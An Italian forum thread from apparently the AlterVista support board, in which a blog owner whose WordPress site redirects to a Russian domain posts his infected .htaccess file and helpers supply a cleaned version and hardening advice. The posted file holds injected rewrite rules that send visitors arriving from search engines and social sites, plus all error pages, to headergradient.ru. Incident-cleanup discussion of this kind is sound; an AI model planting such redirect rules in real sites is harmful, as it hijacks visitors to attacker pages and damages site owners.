[AlterBlog] Codice malevolo nell htaccess

Sto diventando noioso, me ne rendo conto.
Ho messo per curiosità "romoletto blog" su google ed è il primo risultato ma cliccando si viene reindirizzati su h**p://headergradient.ru/gamma/index.php
PERCHE?

Scrivendo www.romoletto.altervista.org nella barra indirizzi si ottiene lo stesso risultato.
Gli unici plugin che ho sono sociable newstats e traduttore.

Visitando la pagina dal mio pannello di controllo sembra tutto ok.

Ho letto che devo controllare il file htaccess ma DOVE si trova????
Come prevenire il problema???
Grazie a tutti e scusate ancora ma è proprio fastidioso tutto ciò. :incavolat

Citazione:

---

Originalmente inviato da romoletto

Ho letto che devo controllare il file htaccess ma DOVE si trova????

---

Il codice malevolo si trova in quel file, avevi contattato AlterVista?

Citazione:

---

Originalmente inviato da andreafallico

Il codice malevolo si trova in quel file, avevi contattato AlterVista?

---

Mi era successa la stessa cosa qualche settimana fa però tutti i link puntavano ad un altro sito sempre russo (.ru) Perche ce l hanno con me sti russi :incavolat e avevo chiesto sempre aiuto qui ed avevamo risolto (temporaneamente evidentemente)

Per editare l'htaccess sull'alterblog basta usare un plugin che lo permetta (esempio: un file browser o cose così) ...
Io, ad esempio, uso http://yoast.com/wordpress/seo/ che, tra le tante cose, permette di editare l'htaccess :)

Citazione:

---

Originalmente inviato da darkwolf

Per editare l'htaccess sull'alterblog basta usare un plugin che lo permetta (esempio: un file browser o cose così) ...
Io, ad esempio, uso http://yoast.com/wordpress/seo/ che, tra le tante cose, permette di editare l'htaccess :)

---

ok ne ho messo uno a 5 stelle (ma mostra la pubblicità). ora posso editare htaccess: cosa devo eliminare?? :???:

Questo è il contenuto:

Codice:

---

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|ex cite|altavista|msn|netscape|aol|hotbot|goto|infose ek|mamma|alltheweb|lycos|search|metacrawler|bing|d ogpile|facebook|twitter|blog|live|myspace|mail|yan dex|rambler|ya|aport|linkedin|flickr|nigma|liveint ernet|vkontakte|webalta|filesearch|yell|openstat|m etabot|nol9|zoneru|km|gigablast|entireweb|amfibi|d moz|yippy|search|walhello|webcrawler|jayde|findwha t|teoma|euroseek|wisenut|about|thunderstone|ixquic k|terra|lookle|metaeureka|searchspot|slider|topsev en|allthesites|libero|clickey|galaxy|brainysearch| pocketflier|verygoodsearch|bellnet|freenet|firebal l|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar| suchnase|schnellsuche|sharelook|sucharchiv|suchbie ne|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://headergradient.ru/gamma/index.php [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orang e|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|te lfort|hispavista|passagen|spray|eniro|telia|bluewi n|sympatico|nlsearch|atsearch|klammeraffe|shareloo k|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|d affodil|click4choice|exalead|findelio|gasta|gimpsy |globalsearchdirectory|hotfrog|jobrapido|kingdomse ek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan |qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|ex press|bestireland|browseireland|finditireland|iese arch|ireland-information|kompass|startsiden|confex|finnalle|gul esider|keyweb|finnfirma|kvasir|savio|sol|startside n|allpages|america|botw|chapu|claymont|clickz|clus h|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://headergradient.ru/gamma/index.php [R=301,L]
</IfModule>

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
# /* modifica */
RewriteBase /
# /* fine */
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
# /* modifica */
RewriteRule . /index.php [L]
# /* fine */
</IfModule>

# END WordPress

# /* modifica */
# # av:php5-engine
AddHandler av-php5 .php
# /* fine */
# # av:Words
SetEnv AV_WORDS 0

# # av:Toolbar
SetEnv AV_TOOLBAR 1

# # av:Banner
SetEnv AV_BANNER 0

ErrorDocument 400 http://headergradient.ru/gamma/index.php
ErrorDocument 401 http://headergradient.ru/gamma/index.php
ErrorDocument 403 http://headergradient.ru/gamma/index.php
ErrorDocument 404 http://headergradient.ru/gamma/index.php
ErrorDocument 500 http://headergradient.ru/gamma/index.php

---

Cambialo in:

Codice:

---

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# # av:php5-engine
AddHandler av-php5 .php

# # av:Words
SetEnv AV_WORDS 0

# # av:Toolbar
SetEnv AV_TOOLBAR 1

# # av:Banner
SetEnv AV_BANNER 0

---

OK.
Come posso evitare che succeda di nuovo in futuro? :evil:

Giusto per curiosità puoi postare il nome del plugin usato?
---
In ogni caso, aggiorna il blog, i plugin, il tema, la password di accesso e verifica che il tuo pc sia "Pulito" :wink:

Citazione:

---

Originalmente inviato da darkwolf

Giusto per curiosità puoi postare il nome del plugin usato?
---
In ogni caso, aggiorna il blog, i plugin, il tema, la password di accesso e verifica che il tuo pc sia "Pulito" :wink:

---

Capito non c'è una specie di firewall o un plugin che lo faccia al posto mio? :idea:

Per l'editor si tratta di questo qua:
WP Htaccess Editor : Simple editor htaccess file without using FTP client.
Versione 1.1.1 | Di Lukenzi

No, non credo! E' importante tenere sempre il tutto aggiornato e pulito.
Non potendo sapere se hanno sfruttato un bug nel sito o un virus/worm dal tuo pc, sarebbe bene agire in modo globale su: "sito; pc usato per amministrare il blog e password di accesso allo stesso blog".

Citazione:

---

Originalmente inviato da darkwolf

No, non credo! E' importante tenere sempre il tutto aggiornato e pulito.
Non potendo sapere se hanno sfruttato un bug nel sito o un virus/worm dal tuo pc, sarebbe bene agire in modo globale su: "sito; pc usato per amministrare il blog e password di accesso allo stesso blog".

---

Cmq grazie per assistenza...
Non credo si tratti di un problema mio ho formattato il pc da un paio di giorni con programmi diversi da prima e diverso SO.
Cmq qualcuno dovrebbe farlo un plugin di "autoripristino di un file 'sicuro' htaccess" a intervalli prestabiliti...:wink: a presto